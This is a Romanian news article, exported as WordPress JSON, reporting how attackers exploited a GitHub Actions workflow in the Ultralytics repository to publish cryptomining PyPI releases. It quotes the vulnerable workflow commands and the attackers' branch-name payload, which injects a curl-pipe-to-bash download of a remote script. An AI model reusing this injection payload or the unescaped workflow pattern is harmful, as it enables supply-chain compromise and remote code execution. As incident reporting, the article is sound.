{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"O eroare \u00een procesorul GitHub Actions a dus la publicarea de lans\u0103ri mali\u021bioase Ultralytics.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Atacatorii au reu\u0219it s\u0103 execute cod cu privilegiile handler-ului GitHub Actions \u00een repertoriul bibliotecii Python Ultralytics, utilizat\u0103 pentru rezolvarea sarcinilor de viziune computerizat\u0103, cum ar fi identificarea obiectelor \u00een imagini \u0219i segmentarea imaginilor. Dup\u0103 ob\u021binerea accesului la repertoriu, atacatorii au publicat \u00een catalogul PyPI mai multe versiuni noi de Ultralytics, care con\u021bineau modific\u0103ri maligne pentru minerit de criptomonede. \u00cen ultima lun\u0103, biblioteca Ultralytics a fost desc\u0103rcat\u0103 din catalogul PyPI de peste 6,4 milioane de ori. <\/p>\n
O vulnerabilitate din pachetul ultralytics-actions a fost folosit\u0103 pentru a compromite repositorul, fiind aplicat\u0103 pentru a lansa automat handleri \u00een urma unor ac\u021biuni specifice cu repositorul pe GitHub, utiliz\u00e2nd mecanismul GitHub Actions. \u00cen proiectul ultralytics, handlerul vulnerabil era legat de evenimentul pull_request_target \u0219i era invocat la primirea de noi pull requesturi. \u00cen special, pentru formatarea codului din pull requesturile trimise, era apelat handlerul format.yml \u0219i se executa codul specificat \u00een sec\u021biunea 'run' a fi\u0219ierului action.yml, \u00een care erau prezente comenzi shell cu \u0219abloane de substitu\u021bie: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name '${{ inputs.github_username }}' git config --global user.email '${{ inputs.github_email }}' <\/p>\n
Astfel, \u00een comenzile shell erau introduse f\u0103r\u0103 o corect\u0103 escapare numele ramurii Git men\u021bionat \u00een pull request. De notat este c\u0103, \u00een luna august, \u00een pachetul ultralytics-actions a fost rezolvat\u0103 o vulnerabilitate similar\u0103, legat\u0103 de utilizarea unei valori externe \u00een func\u021bia echo: echo 'github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}' <\/p>\n
Pentru a organiza executarea codului lor \u00een contextul handler-ului GitHub Actions, atacatorii au trimis un pull request \u00een repertoriul ultralytics, indic\u00e2nd ca nume de ramur\u0103: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Prin urmare, la primirea pull requestului, \u00een cod a fost introdus\u0103 \u0219irul specificat de atacatori '$(…)', care, la urm\u0103toarea execu\u021bie a handlerului, a condus la executarea codului 'curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash'.
<\/center> <\/p>\n
Executarea codului \u00een contextul GitHub Actions poate fi folosit\u0103 pentru a captura un token de acces la repository \u0219i alte date confiden\u021biale. Cum exact au reu\u0219it atacatorii s\u0103 formeze o versiune, ob\u021bin\u00e2nd posibilitatea de a-\u0219i executa codul \u00een GitHub Actions, nu este \u00eenc\u0103 clar; se speculeaz\u0103 c\u0103 acest lucru a fost posibil datorit\u0103 modific\u0103rii handler-ului publish.yml (atacatorii au eliminat verificarea contului din care este permis\u0103 publicarea de versiuni \u00een PyPI) \u0219i utiliz\u0103rii tehnicii de contaminare a cache-ului de construc\u021bie GitHub Actions pentru a substitui datele lor \u00een versiune. <\/p>\n
Prima versiune mali\u021bioas\u0103 Ultralytics 8.3.41 a fost publicat\u0103 de atacatori \u00een catalogul PyPI pe 4 decembrie la 23:51 (MSK) \u0219i a fost eliminat\u0103 a doua zi la 12:15. La 15:47 a fost publicat\u0103 o alt\u0103 versiune 8.3.42, care a fost eliminat\u0103 la 16:47. Astfel, versiunile mali\u021bioase au fost disponibile pentru desc\u0103rcare timp de aproximativ 13 ore (\u00een fiecare zi, \u00een PyPI se \u00eenregistreaz\u0103 aproximativ 250.000 de desc\u0103rc\u0103ri ale bibliotecii ultralytics). \u00cen compunerea versiunilor 8.3.41 \u0219i 8.3.42 se afla cod care efectua desc\u0103rc\u0103ri externe. server<\/a> componentelor XMRig pentru mineritul criptomonedelor. <\/p>\n
![\"O](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n